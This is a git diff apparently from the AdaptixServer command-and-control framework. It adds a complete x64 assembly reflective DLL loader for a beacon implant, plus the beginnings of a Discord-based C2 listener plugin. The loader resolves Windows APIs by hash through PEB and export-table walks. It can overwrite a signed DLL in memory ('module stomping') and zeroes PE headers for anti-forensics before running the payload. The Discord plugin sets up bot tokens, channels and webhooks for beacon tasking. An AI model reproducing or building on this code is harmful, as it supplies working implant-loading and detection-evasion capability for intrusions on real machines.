+; [rsp+0x60] LOC_FLUSHIC FlushInstructionCache address
+; [rsp+0x68] LOC_PE_SRC source PE base
+; [rsp+0x70] LOC_NT_HDR NT_HEADERS pointer (source)
+; [rsp+0x78] LOC_IMAGE_SIZE SizeOfImage
+; [rsp+0x80] LOC_SECTION_HDL section handle
+; [rsp+0x88] LOC_IMAGE_BASE mapped base
+; [rsp+0x90] LOC_VIEW_SIZE view size / LARGE_INTEGER
+; [rsp+0x98] LOC_TEMP_ADDR temp: NtProtect &BaseAddress
+; [rsp+0xA0] LOC_TEMP_SIZE temp: NtProtect &RegionSize
+; [rsp+0xA8] LOC_OLD_PROT temp: NtProtect &OldProtect
+; [rsp+0xB0] LOC_SAVE1 general purpose save slot
+; [rsp+0xB8] LOC_SAVE2 general purpose save slot
+; [rsp+0xC0] LOC_SAVE3 general purpose save slot
+; [rsp+0xC8] LOC_SAVE4 general purpose save slot
+; ---------------------------------------------------------------------------
+%define FRAME_SIZE 0xD8
+
+%define LOC_LOADLIB 0x50
+%define LOC_GETPROC 0x58
+%define LOC_FLUSHIC 0x60
+%define LOC_PE_SRC 0x68
+%define LOC_NT_HDR 0x70
+%define LOC_IMAGE_SIZE 0x78
+%define LOC_SECTION_HDL 0x80
+%define LOC_IMAGE_BASE 0x88
+%define LOC_VIEW_SIZE 0x90
+%define LOC_TEMP_ADDR 0x98
+%define LOC_TEMP_SIZE 0xA0
+%define LOC_OLD_PROT 0xA8
+%define LOC_SAVE1 0xB0
+%define LOC_SAVE2 0xB8
+%define LOC_SAVE3 0xC0
+%define LOC_SAVE4 0xC8
+
+; ============================================================================
+; PHASE 1 — Prologue
+; ============================================================================
+_start:
+ push rsi
+ push rdi
+ push rbp
+ push rbx
+ push r12
+ push r13
+ push r14
+ push r15
+ sub rsp, FRAME_SIZE
+ cld ; ensure forward direction for rep movsb
+
+; ============================================================================
+; PHASE 2 — Self-locate: compute DLL base from _stub_end label
+; ============================================================================
+ call _delta
+_delta:
+ pop rax
+ lea rbx, [rax + (_stub_end - _delta)]
+
+; ============================================================================
+; PHASE 3 — Validate MZ + PE signatures
+; ============================================================================
+ cmp word [rbx], 0x5A4D
+ jne _exit
+
+ movsxd rax, dword [rbx + 0x3C]
+ lea rbp, [rbx + rax]
+
+ cmp dword [rbp], 0x00004550
+ jne _exit
+ mov [rsp + LOC_PE_SRC], rbx
+ mov [rsp + LOC_NT_HDR], rbp
+ mov eax, dword [rbp + 0x50]
+ mov [rsp + LOC_IMAGE_SIZE], rax
+
+; ============================================================================
+; PHASE 4 — PEB walk: resolve ntdll.dll and kernel32.dll bases
+; ============================================================================
+ mov ecx, HASH_MOD_NTDLL
+ call _find_module
+ test rax, rax
+ jz _exit
+ mov r12, rax
+
+ mov ecx, HASH_MOD_KERNEL32
+ call _find_module
+ test rax, rax
+ jz _exit
+ mov r13, rax
+
+; ============================================================================
+; PHASE 5 — EAT walk: resolve 7 APIs by hash
+; Module bases saved to SAVE1/SAVE2 so _find_export can clobber regs freely.
+; ============================================================================
+ mov [rsp + LOC_SAVE1], r12 ; ntdll base
+ mov [rsp + LOC_SAVE2], r13 ; kernel32 base
+
+ mov rcx, r12
+ mov edx, HASH_NTCREATESECTION
+ call _find_export
+ test rax, rax
+ jz _exit
+ mov r12, rax ; r12 = NtCreateSection
+
+ mov rcx, [rsp + LOC_SAVE1]
+ mov edx, HASH_NTMAPVIEWOFSECTION
+ call _find_export
+ test rax, rax
+ jz _exit
+ mov r13, rax ; r13 = NtMapViewOfSection
+
+ mov rcx, [rsp + LOC_SAVE1]
+ mov edx, HASH_NTPROTECTVIRTUALMEMORY
+ call _find_export
+ test rax, rax
+ jz _exit
+ mov r14, rax ; r14 = NtProtectVirtualMemory
+
+ mov rcx, [rsp + LOC_SAVE1]
+ mov edx, HASH_NTCLOSE
+ call _find_export
+ test rax, rax
+ jz _exit
+ mov r15, rax ; r15 = NtClose
+
+ mov rcx, [rsp + LOC_SAVE2]
+ mov edx, HASH_LOADLIBRARYA
+ call _find_export
+ mov [rsp + LOC_LOADLIB], rax
+
+ mov rcx, [rsp + LOC_SAVE2]
+ mov edx, HASH_GETPROCADDRESS
+ call _find_export
+ mov [rsp + LOC_GETPROC], rax
+
+ mov rcx, [rsp + LOC_SAVE2]
+ mov edx, HASH_FLUSHINSTRUCTIONCACHE
+ call _find_export
+ mov [rsp + LOC_FLUSHIC], rax
+
+%ifdef MODULE_STOMP
+ mov rcx, [rsp + LOC_SAVE2] ; kernel32 base
+ mov edx, HASH_FREELIBRARY
+ call _find_export
+ mov [rsp + LOC_SECTION_HDL], rax ; repurpose as FreeLibrary addr
+
+ mov rcx, [rsp + LOC_SAVE2] ; kernel32 base
+ mov edx, HASH_LOADLIBRARYEXA
+ call _find_export
+ mov [rsp + LOC_VIEW_SIZE], rax ; repurpose as LoadLibraryExA addr
+%endif
+
+ cmp qword [rsp + LOC_LOADLIB], 0
+ je _exit
+ cmp qword [rsp + LOC_GETPROC], 0
+ je _exit
+ cmp qword [rsp + LOC_FLUSHIC], 0
+ je _exit
+
+%ifdef MODULE_STOMP
+ ; If stomp APIs missing, skip stomp but still try SEC_COMMIT fallback
+ cmp qword [rsp + LOC_SECTION_HDL], 0
+ je .stomp_fallback
+ cmp qword [rsp + LOC_VIEW_SIZE], 0
+ je .stomp_fallback
+%endif
+
+ mov rbx, [rsp + LOC_PE_SRC]
+ mov rbp, [rsp + LOC_NT_HDR]
+
+; ============================================================================
+; PHASE 6/7 — Module Stomp (if MODULE_STOMP) or SEC_COMMIT fallback
+;
+; Module stomping: LoadLibraryA a sacrificial signed DLL, check if its
+; SizeOfImage >= beacon's SizeOfImage, make it writable, then overwrite
+; it with the beacon PE. The beacon runs from MEM_IMAGE backed by a
+; real file on disk. If no candidate fits, fall through to SEC_COMMIT.
+; ============================================================================
+
+%ifdef MODULE_STOMP
+ ; ---- RIP-relative address of _stomp_paths data ----
+ call .get_stomp_addr
+.get_stomp_addr:
+ pop rax
+ lea rsi, [rax + (_stomp_paths - .get_stomp_addr)]
+
+.stomp_try_next:
+ ; End sentinel: double-null → all candidates exhausted, fall through
+ cmp byte [rsi], 0
+ je .stomp_fallback
+
+ ; Save rsi (path pointer) across LoadLibraryExA call
+ mov [rsp + LOC_SAVE3], rsi
+
+ ; LoadLibraryExA(path, NULL, DONT_RESOLVE_DLL_REFERENCES=1)
+ ; Maps DLL as MEM_IMAGE but does NOT run DllMain, no imports resolved
+ mov rcx, rsi
+ xor rdx, rdx ; hFile = NULL
+ mov r8d, 1 ; DONT_RESOLVE_DLL_REFERENCES
+ call qword [rsp + LOC_VIEW_SIZE] ; LoadLibraryExA
+
+ ; Restore rsi
+ mov rsi, [rsp + LOC_SAVE3]
+
+ ; If LoadLibraryExA failed → skip to next path
+ test rax, rax
+ jz .stomp_advance
+
+ ; Save hModule
+ mov [rsp + LOC_SAVE4], rax
+
+ ; Validate MZ signature — if corrupted (DLL already stomped by
+ ; another packer), skip it and try the next candidate.
+ cmp word [rax], 0x5A4D
+ jne .stomp_free_advance
+
+ ; Validate e_lfanew is reasonable (< 0x400)
+ movsxd rcx, dword [rax + 0x3C]
+ cmp ecx, 0x400
+ ja .stomp_free_advance
+
+ ; Validate PE signature
+ cmp dword [rax + rcx], 0x00004550
+ jne .stomp_free_advance
+
+ ; Read SizeOfImage from NT_HEADERS
+ mov ecx, dword [rax + rcx + 0x50]
+
+ ; Compare with beacon's required SizeOfImage
+ cmp rcx, [rsp + LOC_IMAGE_SIZE]
+ jb .stomp_free_advance ; too small
+
+ ; Anti double-stomp: check if OUR code runs from this DLL.
+ ; If another packer (BalezeKit) stomped this DLL with our shellcode,
+ ; LoadLibraryExA returns the same handle. Zeroing it would destroy
+ ; our own currently-executing code → crash.
+ call .get_self_rip
+.get_self_rip:
+ pop rdx ; rdx = our current address
+ mov rax, [rsp + LOC_SAVE4] ; hModule = DLL base
+ cmp rdx, rax
+ jb .stomp_found ; RIP < base → not in this DLL
+ lea rax, [rax + rcx] ; rax = base + SizeOfImage
+ cmp rdx, rax
+ jae .stomp_found ; RIP >= end → not in this DLL
+ jmp .stomp_free_advance ; we're INSIDE this DLL → skip
+
+.stomp_free_advance:
+ ; DLL invalid or too small → FreeLibrary and try next
+ mov rcx, [rsp + LOC_SAVE4]
+ call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary
+ jmp .stomp_advance
+
+.stomp_found:
+ ; ---- Suitable DLL found — make entire image writable ----
+ ; NtProtectVirtualMemory on MEM_IMAGE changes only ONE region per call
+ ; (each PE section is a separate region). Must loop until entire
+ ; SizeOfImage is covered.
+ mov rax, [rsp + LOC_SAVE4] ; hModule = base
+ mov [rsp + LOC_IMAGE_BASE], rax
+
+ ; LOC_TEMP_ADDR = current address, LOC_SAVE3 = remaining bytes
+ mov [rsp + LOC_TEMP_ADDR], rax
+ mov rax, [rsp + LOC_IMAGE_SIZE]
+ mov [rsp + LOC_SAVE3], rax ; remaining = SizeOfImage
+
+.stomp_protect_loop:
+ cmp qword [rsp + LOC_SAVE3], 0
+ jle .stomp_protect_done
+
+ ; NtProtectVirtualMemory: changes one region, updates TEMP_ADDR/TEMP_SIZE
+ mov rax, [rsp + LOC_SAVE3]
+ mov [rsp + LOC_TEMP_SIZE], rax ; request remaining size
+ mov rcx, -1
+ lea rdx, [rsp + LOC_TEMP_ADDR]
+ lea r8, [rsp + LOC_TEMP_SIZE]
+ mov r9d, PAGE_EXECUTE_READWRITE ; RWX (not just RW — needed to add X later)
+ lea rax, [rsp + LOC_OLD_PROT]
+ mov [rsp + 0x20], rax
+ call r14 ; NtProtectVirtualMemory
+ test eax, eax
+ js .stomp_protect_fail
+
+ ; Advance: next_addr = TEMP_ADDR + TEMP_SIZE (region actually changed)
+ mov rax, [rsp + LOC_TEMP_ADDR]
+ add rax, [rsp + LOC_TEMP_SIZE]
+ mov [rsp + LOC_TEMP_ADDR], rax
+
+ ; remaining = (hModule + IMAGE_SIZE) - next_addr
+ mov rcx, [rsp + LOC_SAVE4]
+ add rcx, [rsp + LOC_IMAGE_SIZE]
+ sub rcx, rax
+ mov [rsp + LOC_SAVE3], rcx
+ jmp .stomp_protect_loop
+
+.stomp_protect_done:
+ ; Success — zero entire target area before copying.
+ ; The stomped DLL's residual content would corrupt .bss
+ ; (uninitialized globals must be zero). SEC_COMMIT pages
+ ; are already zeroed by the kernel, but stomped DLL is not.
+ push rdi
+ push rcx
+ mov rdi, [rsp + 16 + LOC_IMAGE_BASE]
+ mov ecx, dword [rsp + 16 + LOC_IMAGE_SIZE]
+ xor eax, eax
+ rep stosb
+ pop rcx
+ pop rdi
+
+ ; Clear LOC_SECTION_HDL so Phase 13 skips NtClose
+ mov qword [rsp + LOC_SECTION_HDL], 0
+ jmp .phase8_copy_headers
+
+.stomp_protect_fail:
+ ; NtProtectVirtualMemory failed → FreeLibrary and try next
+ mov rcx, [rsp + LOC_SAVE4]
+ call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary
+ ; Restore rsi from LOC_SAVE3 (still valid)
+ mov rsi, [rsp + LOC_SAVE3]
+
+.stomp_advance:
+ ; Skip current path string past its null terminator
+.stomp_skip:
+ cmp byte [rsi], 0
+ je .stomp_skip_done
+ inc rsi
+ jmp .stomp_skip
+.stomp_skip_done:
+ inc rsi ; skip the null byte itself
+ jmp .stomp_try_next
+
+.stomp_fallback:
+%endif ; MODULE_STOMP
+
+; ============================================================================
+; PHASE 6 — NtCreateSection(SEC_COMMIT) [fallback when MODULE_STOMP fails,
+; or the only path when MODULE_STOMP is not defined]
+; 7 args: 4 reg + 3 stack
+; ============================================================================
+ mov rax, [rsp + LOC_IMAGE_SIZE]
+ mov [rsp + LOC_VIEW_SIZE], rax
+
+ lea rcx, [rsp + LOC_SECTION_HDL]
+ mov edx, SECTION_ALL_ACCESS
+ xor r8, r8
+ lea r9, [rsp + LOC_VIEW_SIZE]
+ mov qword [rsp + 0x20], PAGE_EXECUTE_READWRITE
+ mov qword [rsp + 0x28], SEC_COMMIT
+ mov qword [rsp + 0x30], 0
+ call r12
+ test eax, eax
+ js _exit
+
+; ============================================================================
+; PHASE 7 — NtMapViewOfSection
+; 10 args: 4 reg + 6 stack
+; ============================================================================
+ mov qword [rsp + LOC_IMAGE_BASE], 0
+ mov rax, [rsp + LOC_IMAGE_SIZE]
+ mov [rsp + LOC_VIEW_SIZE], rax
+
+ mov rcx, [rsp + LOC_SECTION_HDL]
+ mov rdx, -1
+ lea r8, [rsp + LOC_IMAGE_BASE]
+ xor r9, r9
+ mov qword [rsp + 0x20], 0
+ mov qword [rsp + 0x28], 0
+ lea rax, [rsp + LOC_VIEW_SIZE]
+ mov [rsp + 0x30], rax
+ mov qword [rsp + 0x38], 2
+ mov qword [rsp + 0x40], 0
+ mov qword [rsp + 0x48], PAGE_EXECUTE_READWRITE
+ call r13
+ test eax, eax
+ js _cleanup_section
+
+; ============================================================================
+; PHASE 8 — Copy PE headers (rep movsb clobbers rsi/rdi/rcx)
+; ============================================================================
+.phase8_copy_headers:
+ push rsi
+ push rdi
+ push rcx
+
+ mov rsi, [rsp + 24 + LOC_PE_SRC]
+ mov rdi, [rsp + 24 + LOC_IMAGE_BASE]
+ mov ecx, dword [rbp + 0x54]
+ rep movsb
+
+ pop rcx
+ pop rdi
+ pop rsi
+
+; ============================================================================
+; PHASE 9 — Copy sections
+; Uses push/pop for rsi/rdi/rcx around rep movsb — no Win64 API calls here,
+; so shadow space corruption is not a concern.
+; ============================================================================
+ movzx eax, word [rbp + 0x14]
+ lea r8, [rbp + 0x18]
+ add r8, rax
+ movzx ecx, word [rbp + 0x06]
+ test ecx, ecx
+ jz .sections_done
+
+.copy_section:
+ push rcx
+ push r8
+
+ mov eax, dword [r8 + 0x10] ; SizeOfRawData
+ test eax, eax
+ jz .next_section
+
+ mov ecx, dword [r8 + 0x14] ; PointerToRawData (32-bit RVA)
+ mov rsi, [rsp + 16 + LOC_PE_SRC]
+ add rsi, rcx ; src = PE_base + PointerToRawData
+
+ mov ecx, dword [r8 + 0x0C] ; VirtualAddress (32-bit RVA)
+ mov rdi, [rsp + 16 + LOC_IMAGE_BASE]
+ add rdi, rcx ; dst = mapped_base + VirtualAddress
+
+ mov ecx, eax ; count = SizeOfRawData
+ rep movsb
+
+.next_section:
+ pop r8
+ pop rcx
+ add r8, 40
+ dec ecx
+ jnz .copy_section
+
+.sections_done:
+
+; ============================================================================
+; PHASE 10 — Base relocations
+; ============================================================================
+ mov rax, [rsp + LOC_IMAGE_BASE]
+ mov rcx, [rbp + 0x30]
+ sub rax, rcx
+ jz .reloc_done
+
+ mov r9, rax ; r9 = delta
+ mov r10d, dword [rbp + 0xB4]
+ test r10d, r10d
+ jz .reloc_done
+
+ mov r8d, dword [rbp + 0xB0]
+ add r8, [rsp + LOC_IMAGE_BASE]
+ lea r10, [r8 + r10]
+
+.reloc_block:
+ cmp r8, r10
+ jae .reloc_done
+
+ mov eax, dword [r8]
+ mov ecx, dword [r8 + 4]
+ test ecx, ecx
+ jz .reloc_done
+
+ add rax, [rsp + LOC_IMAGE_BASE]
+ lea r11, [r8 + rcx]
+ lea rbx, [r8 + 8]
+
+.reloc_entry:
+ cmp rbx, r11
+ jae .reloc_next_block
+
+ movzx edx, word [rbx]
+ mov ecx, edx
+ shr ecx, 12
+ and edx, 0x0FFF
+
+ cmp cl, IMAGE_REL_BASED_DIR64
+ je .reloc_dir64
+ cmp cl, IMAGE_REL_BASED_HIGHLOW
+ je .reloc_highlow
+ jmp .reloc_skip
+
+.reloc_dir64:
+ add [rax + rdx], r9
+ jmp .reloc_skip
+
+.reloc_highlow:
+ add dword [rax + rdx], r9d
+ jmp .reloc_skip
+
+.reloc_skip:
+ add rbx, 2
+ jmp .reloc_entry
+
+.reloc_next_block:
+ mov r8, r11
+ jmp .reloc_block
+
+.reloc_done:
+ mov rbp, [rsp + LOC_NT_HDR]
+
+; ============================================================================
+; PHASE 11 — Import resolution
+; Saves loop state to LOC_SAVE1..SAVE4 across Win64 API calls (no push/pop
+; around calls, avoiding shadow space corruption of saved registers).
+;
+; SAVE1 = import descriptor pointer
+; SAVE2 = INT (OriginalFirstThunk) pointer
+; SAVE3 = IAT (FirstThunk) pointer
+; SAVE4 = hModule
+; ============================================================================
+ mov eax, dword [rbp + 0x94]
+ test eax, eax
+ jz .imports_done
+
+ mov eax, dword [rbp + 0x90]
+ test eax, eax
+ jz .imports_done
+
+ add rax, [rsp + LOC_IMAGE_BASE]
+ mov [rsp + LOC_SAVE1], rax ; save descriptor ptr
+
+.import_descriptor:
+ mov r8, [rsp + LOC_SAVE1]
+ mov eax, dword [r8 + 0x0C]
+ test eax, eax
+ jz .imports_done
+
+ ; LoadLibraryA(DLL name)
+ add rax, [rsp + LOC_IMAGE_BASE]
+ mov rcx, rax
+ call qword [rsp + LOC_LOADLIB]
+ test rax, rax
+ jz .imports_done
+ mov [rsp + LOC_SAVE4], rax ; hModule
+
+ mov r8, [rsp + LOC_SAVE1]
+
+ ; OriginalFirstThunk (INT) at +0x00
+ mov eax, dword [r8]
+ test eax, eax
+ jnz .have_oft
+ mov eax, dword [r8 + 0x10]
+.have_oft:
+ add rax, [rsp + LOC_IMAGE_BASE]
+ mov [rsp + LOC_SAVE2], rax ; INT ptr
+
+ mov eax, dword [r8 + 0x10]
+ add rax, [rsp + LOC_IMAGE_BASE]
+ mov [rsp + LOC_SAVE3], rax ; IAT ptr
+
+.import_thunk:
+ mov rsi, [rsp + LOC_SAVE2] ; INT
+ mov rax, [rsi]
+ test rax, rax
+ jz .import_next_desc
+
+ ; Check ordinal flag (bit 63)
+ bt rax, 63
+ jc .import_by_ordinal
+
+ ; Import by name
+ add rax, [rsp + LOC_IMAGE_BASE]
+ lea rdx, [rax + 2] ; skip Hint → name string
+ mov rcx, [rsp + LOC_SAVE4] ; hModule
+ call qword [rsp + LOC_GETPROC]
+ jmp .import_write_iat
+
+.import_by_ordinal:
+ movzx edx, ax
+ mov rcx, [rsp + LOC_SAVE4]
+ call qword [rsp + LOC_GETPROC]
+
+.import_write_iat:
+ mov r9, [rsp + LOC_SAVE3]
+ mov [r9], rax
+
+ ; Advance INT and IAT pointers
+ add qword [rsp + LOC_SAVE2], 8
+ add qword [rsp + LOC_SAVE3], 8
+ jmp .import_thunk
+
+.import_next_desc:
+ add qword [rsp + LOC_SAVE1], 20 ; next descriptor
+ jmp .import_descriptor
+
+.imports_done:
+
+; ============================================================================
+; PHASE 12 — Tighten .text to RX only
+;
+; Only .text is changed: RWX → PAGE_EXECUTE_READ.
+; All other sections stay PAGE_EXECUTE_READWRITE so that SsSleepInit
+; sees the full image as executable (fullRxSize = entire image) and
+; the 64KB-aligned dual-map succeeds.
+; _DoRemap later sets proper protections on non-.text regions.
+; ============================================================================
+ movzx eax, word [rbp + 0x14]
+ lea r8, [rbp + 0x18]
+ add r8, rax ; r8 = first section header
+ movzx ecx, word [rbp + 0x06] ; section count
+ test ecx, ecx
+ jz .protect_done
+
+.protect_scan:
+ mov eax, dword [r8 + 0x24] ; Characteristics
+ test eax, IMAGE_SCN_MEM_EXECUTE
+ jnz .found_text
+ add r8, 40
+ dec ecx
+ jnz .protect_scan
+ jmp .protect_done
+
+.found_text:
+ ; Tighten this section from RWX → RX
+ mov eax, dword [r8 + 0x0C] ; VirtualAddress
+ add rax, [rsp + LOC_IMAGE_BASE]
+ mov [rsp + LOC_TEMP_ADDR], rax
+
+ mov eax, dword [r8 + 0x08] ; VirtualSize
+ mov edx, dword [r8 + 0x10] ; SizeOfRawData
+ cmp eax, edx
+ cmovb eax, edx ; max(VirtualSize, SizeOfRawData)
+ test eax, eax
+ jz .protect_done
+ mov [rsp + LOC_TEMP_SIZE], rax
+
+ mov rcx, -1
+ lea rdx, [rsp + LOC_TEMP_ADDR]
+ lea r8, [rsp + LOC_TEMP_SIZE]
+ mov r9d, PAGE_EXECUTE_READ ; RWX → RX
+ lea rax, [rsp + LOC_OLD_PROT]
+ mov [rsp + 0x20], rax
+ call r14 ; NtProtectVirtualMemory
+
+.protect_done:
+
+; ============================================================================
+; PHASE 13 — NtClose(hSection)
+; Skipped when module stomping succeeded (LOC_SECTION_HDL == 0).
+; ============================================================================
+ mov rcx, [rsp + LOC_SECTION_HDL]
+ test rcx, rcx
+ jz .skip_close
+ call r15
+.skip_close:
+
+; ============================================================================
+; PHASE 14 — FlushInstructionCache(-1, base, imageSize)
+; ============================================================================
+ mov rcx, -1
+ mov rdx, [rsp + LOC_IMAGE_BASE]
+ mov r8, [rsp + LOC_IMAGE_SIZE]
+ call qword [rsp + LOC_FLUSHIC]
+
+; ============================================================================
+; PHASE 15 — Zero PE headers (anti-forensics)
+; ============================================================================
+ push rdi
+ push rcx
+
+ mov rdi, [rsp + 16 + LOC_IMAGE_BASE]
+ mov ecx, dword [rbp + 0x54]
+ xor eax, eax
+ rep stosb
+
+ pop rcx
+ pop rdi
+
+; ============================================================================
+; PHASE 16 — Call DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL)
+; ============================================================================
+ mov eax, dword [rbp + 0x28]
+ test eax, eax
+ jz _exit
+
+ add rax, [rsp + LOC_IMAGE_BASE]
+
+ mov rcx, [rsp + LOC_IMAGE_BASE]
+ mov edx, DLL_PROCESS_ATTACH
+ xor r8, r8
+ call rax
+
+ jmp _exit
+
+; ============================================================================
+; Error paths
+; ============================================================================
+_cleanup_section:
+ mov rcx, [rsp + LOC_SECTION_HDL]
+ call r15
+
+_exit:
+ add rsp, FRAME_SIZE
+ pop r15
+ pop r14
+ pop r13
+ pop r12
+ pop rbx
+ pop rbp
+ pop rdi
+ pop rsi
+ ret
+
+; ============================================================================
+; _djb2a — ASCII DJB2 hash (case-insensitive)
+; IN: rcx = null-terminated ASCII string
+; OUT: eax = hash
+; Clobbers: eax, edx, r8d, rcx
+; ============================================================================
+_djb2a:
+ mov eax, DJB2_SEED
+.loop:
+ movzx edx, byte [rcx]
+ inc rcx
+ test edx, edx
+ jz .done
+ lea r8d, [edx - 0x41]
+ cmp r8d, 25
+ ja .no_lower
+ add edx, 0x20
+.no_lower:
+ imul eax, eax, 33
+ add eax, edx
+ jmp .loop
+.done:
+ ret
+
+; ============================================================================
+; _djb2w — Wide-char DJB2 hash (case-insensitive)
+; IN: rcx = null-terminated WCHAR string
+; OUT: eax = hash
+; Clobbers: eax, edx, r8d, rcx
+; ============================================================================
+_djb2w:
+ mov eax, DJB2_SEED
+.loop:
+ movzx edx, word [rcx]
+ add rcx, 2
+ test edx, edx
+ jz .done
+ lea r8d, [edx - 0x41]
+ cmp r8d, 25
+ ja .no_lower
+ add edx, 0x20
+.no_lower:
+ imul eax, eax, 33
+ add eax, edx
+ jmp .loop
+.done:
+ ret
+
+; ============================================================================
+; _find_module — PEB walk, find DLL by wchar DJB2 hash
+; IN: ecx = target hash
+; OUT: rax = DLL base (0 if not found)
+; Clobbers: rax, rcx, rdx, r8-r11
+; ============================================================================
+_find_module:
+ mov r10d, ecx
+ mov rax, [gs:0x60]
+ mov rax, [rax + 0x18]
+ mov r9, [rax + 0x20]
+ lea r11, [rax + 0x20]
+
+.walk:
+ cmp r9, r11
+ je .not_found
+
+ sub rsp, 0x28
+ mov rcx, [r9 + 0x50]
+ call _djb2w
+ add rsp, 0x28
+
+ cmp eax, r10d
+ jne .next
+ mov rax, [r9 + 0x20]
+ ret
+
+.next:
+ mov r9, [r9]
+ jmp .walk
+
+.not_found:
+ xor eax, eax
+ ret
+
+; ============================================================================
+; _find_export — EAT walk, find export by ASCII DJB2 hash
+; IN: rcx = module base, edx = target hash
+; OUT: rax = function address (0 if not found)
+; Saves/restores rbx, rsi, rdi internally.
+; ============================================================================
+_find_export:
+ test rcx, rcx
+ jz .fail
+
+ push rbx
+ push rsi
+ push rdi
+ sub rsp, 0x20
+
+ mov r9, rcx
+ mov esi, edx
+
+ movsxd rax, dword [rcx + 0x3C]
+ mov r11d, dword [rcx + rax + 0x88]
+ test r11d, r11d
+ jz .fail_pop
+ add r11, r9
+
+ mov r10d, dword [r11 + 0x20]
+ add r10, r9
+ mov ebx, dword [r11 + 0x24]
+ add rbx, r9
+ mov eax, dword [r11 + 0x18]
+ lea rdi, [r10 + rax * 4]
+
+.search:
+ cmp r10, rdi
+ je .fail_pop
+
+ mov ecx, dword [r10]
+ add rcx, r9
+ call _djb2a
+ cmp eax, esi
+ je .found
+
+ add r10, 4
+ add rbx, 2
+ jmp .search
+
+.found:
+ movzx edx, word [rbx]
+ mov eax, dword [r11 + 0x1C]
+ add rax, r9
+ mov eax, dword [rax + rdx * 4]
+ add rax, r9
+
+ add rsp, 0x20
+ pop rdi
+ pop rsi
+ pop rbx
+ ret
+
+.fail_pop:
+ add rsp, 0x20
+ pop rdi
+ pop rsi
+ pop rbx
+.fail:
+ xor eax, eax
+ ret
+
+; ============================================================================
+; Module stomp candidate paths (generated by Go, included at build time)
+; ============================================================================
+%ifdef MODULE_STOMP
+%include "stomp_paths.inc"
+%endif
+
+; ============================================================================
+; End marker — DLL data starts immediately after this
+; ============================================================================
+_stub_end:
diff --git a/AdaptixServer/extenders/beacon_listener_discord/Makefile b/AdaptixServer/extenders/beacon_listener_discord/Makefile
new file mode 100644
index 000000000..448269b46
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/Makefile
@@ -0,0 +1,9 @@
+all: clean
+ @ echo " * Building listener_beacon_discord plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_beacon_discord.so pl_main.go pl_transport.go
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs
new file mode 100644
index 000000000..4a381aa05
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs
@@ -0,0 +1,90 @@
+/// Beacon Discord listener
+
+function ListenerUI(mode_create)
+{
+ // BOT TOKEN
+ let labelBotToken = form.create_label("Bot Token:");
+ let textlineBotToken = form.create_textline();
+ textlineBotToken.setPlaceholder("Discord bot token (server-side only)");
+ textlineBotToken.setEnabled(mode_create);
+
+ // CHANNEL IDS
+ let labelChannelBeacon = form.create_label("Beacon Channel ID:");
+ let textlineChannelBeacon = form.create_textline();
+ textlineChannelBeacon.setPlaceholder("Channel for beacon -> server messages");
+ textlineChannelBeacon.setEnabled(mode_create);
+
+ let labelChannelTasks = form.create_label("Tasks Channel ID:");
+ let textlineChannelTasks = form.create_textline();
+ textlineChannelTasks.setPlaceholder("Channel for server -> beacon tasks");
+ textlineChannelTasks.setEnabled(mode_create);
+
+ // WEBHOOK URL
+ let labelWebhook = form.create_label("Webhook URL:");
+ let textlineWebhook = form.create_textline();
+ textlineWebhook.setPlaceholder("https://discord.com/api/webhooks/...");
+
+ // POLL INTERVAL
+ let labelPollInterval = form.create_label("Poll Interval (seconds):");
+ let spinPollInterval = form.create_spin();
+ spinPollInterval.setRange(1, 60);
+ spinPollInterval.setValue(5);
+
+ // CLEANUP
+ let checkCleanup = form.create_check("Delete messages after reading");
+ checkCleanup.setChecked(true);
+
+ // ENCRYPTION KEY
+ let labelEncryptKey = form.create_label("Encryption key:");
+ let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex"));
+ textlineEncryptKey.setEnabled(mode_create);
+ let buttonEncryptKey = form.create_button("Generate");
+ buttonEncryptKey.setEnabled(mode_create);
+
+ form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); });
+
+ // LAYOUT
+ let layoutMain = form.create_gridlayout();
+ layoutMain.addWidget(labelBotToken, 0, 0, 1, 1);
+ layoutMain.addWidget(textlineBotToken, 0, 1, 1, 2);
+ layoutMain.addWidget(labelChannelBeacon, 1, 0, 1, 1);
+ layoutMain.addWidget(textlineChannelBeacon,1, 1, 1, 2);
+ layoutMain.addWidget(labelChannelTasks, 2, 0, 1, 1);
+ layoutMain.addWidget(textlineChannelTasks, 2, 1, 1, 2);
+ layoutMain.addWidget(labelWebhook, 3, 0, 1, 1);
+ layoutMain.addWidget(textlineWebhook, 3, 1, 1, 2);
+ layoutMain.addWidget(labelPollInterval, 4, 0, 1, 1);
+ layoutMain.addWidget(spinPollInterval, 4, 1, 1, 2);
+ layoutMain.addWidget(checkCleanup, 5, 0, 1, 3);
+ layoutMain.addWidget(labelEncryptKey, 6, 0, 1, 1);
+ layoutMain.addWidget(textlineEncryptKey, 6, 1, 1, 1);
+ layoutMain.addWidget(buttonEncryptKey, 6, 2, 1, 1);
+
+ let panelMain = form.create_panel();
+ panelMain.setLayout(layoutMain);
+
+ let tabs = form.create_tabs();
+ tabs.addTab(panelMain, "Main settings");
+
+ let layout = form.create_hlayout();
+ layout.addWidget(tabs);
+
+ let container = form.create_container();
+ container.put("bot_token", textlineBotToken);
+ container.put("channel_beacon", textlineChannelBeacon);
+ container.put("channel_tasks", textlineChannelTasks);
+ container.put("webhook_url", textlineWebhook);
+ container.put("poll_interval", spinPollInterval);
+ container.put("cleanup", checkCleanup);
+ container.put("encrypt_key", textlineEncryptKey);
+
+ let panel = form.create_panel();
+ panel.setLayout(layout);
+
+ return {
+ ui_panel: panel,
+ ui_container: container,
+ ui_height: 400,
+ ui_width: 650
+ }
+}
diff --git a/AdaptixServer/extenders/beacon_listener_discord/config.yaml b/AdaptixServer/extenders/beacon_listener_discord/config.yaml
new file mode 100644
index 000000000..7c1992e5e
--- /dev/null
+++ b/AdaptixServer/extenders/beacon_listener_discord/config.yaml
@@ -0,0 +1,7 @@
+extender_type: "listener"
+extender_file: "listener_beacon_discord.so"
